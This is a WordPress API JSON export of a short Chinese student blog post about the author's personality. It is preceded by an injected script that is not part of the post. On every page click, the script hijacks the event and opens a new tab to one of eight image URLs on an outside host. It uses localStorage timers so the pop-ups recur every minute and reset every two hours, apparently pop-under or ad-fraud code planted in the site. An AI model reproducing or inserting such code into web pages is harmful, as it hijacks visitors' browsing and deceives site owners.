<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":389,"date":"2014-05-09T22:32:18","date_gmt":"2014-05-09T14:32:18","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154201\/?p=389"},"modified":"2023-03-06T14:03:29","modified_gmt":"2023-03-06T06:03:29","slug":"%e6%80%a7%e6%a0%bc%e7%89%b9%e8%b3%aa","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154201\/?p=389","title":{"rendered":"\u6211\u7684\u6027\u683c"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong style=\"color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u6027\u683c\u50be\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p>\u5916\u5411\u4e0d\u505a\u4f5c\uff0c\u5c0d\u6709\u8208\u8da3\u7684\u4eba\u4e8b\u7269\u4e0d\u96b1\u85cf\u597d\u5947\u5fc3\uff0c\u61c2\u5f97\u50be\u807d\u5225\u4eba\u7684\u60f3\u6cd5\u3002<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><strong style=\"line-height: 1.3em; color: #0000ff;\">\u3010\u6211\u5c0d\u81ea\u5df1\u7684\u77ad\u89e3\u3011<\/strong><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u559c\u6b61\u751f\u6d3b\u6709\u4e00\u9ede\u5100\u5f0f\u611f\uff0c\u4e0d\u559c\u6b61\u6c92\u6709\u76ee\u6a19\u7684\u751f\u6d3b\uff0c\u559c\u6b61\u5617\u8a66\u65b0\u9bae\u4e8b\uff0c\u5230\u8655\u8d70\u8d70\u65c5\u884c\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u7684\u6027\u683c\u50be\u5411\u3011 \u5916\u5411\u4e0d\u505a\u4f5c\uff0c\u5c0d\u6709\u8208\u8da3\u7684\u4eba\u4e8b\u7269\u4e0d\u96b1\u85cf\u597d\u5947\u5fc3\uff0c\u61c2\u5f97\u50be\u807d\u5225\u4eba\u7684\u60f3\u6cd5\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/389"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=389"}],"version-history":[{"count":8,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions"}],"predecessor-version":[{"id":960,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions\/960"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}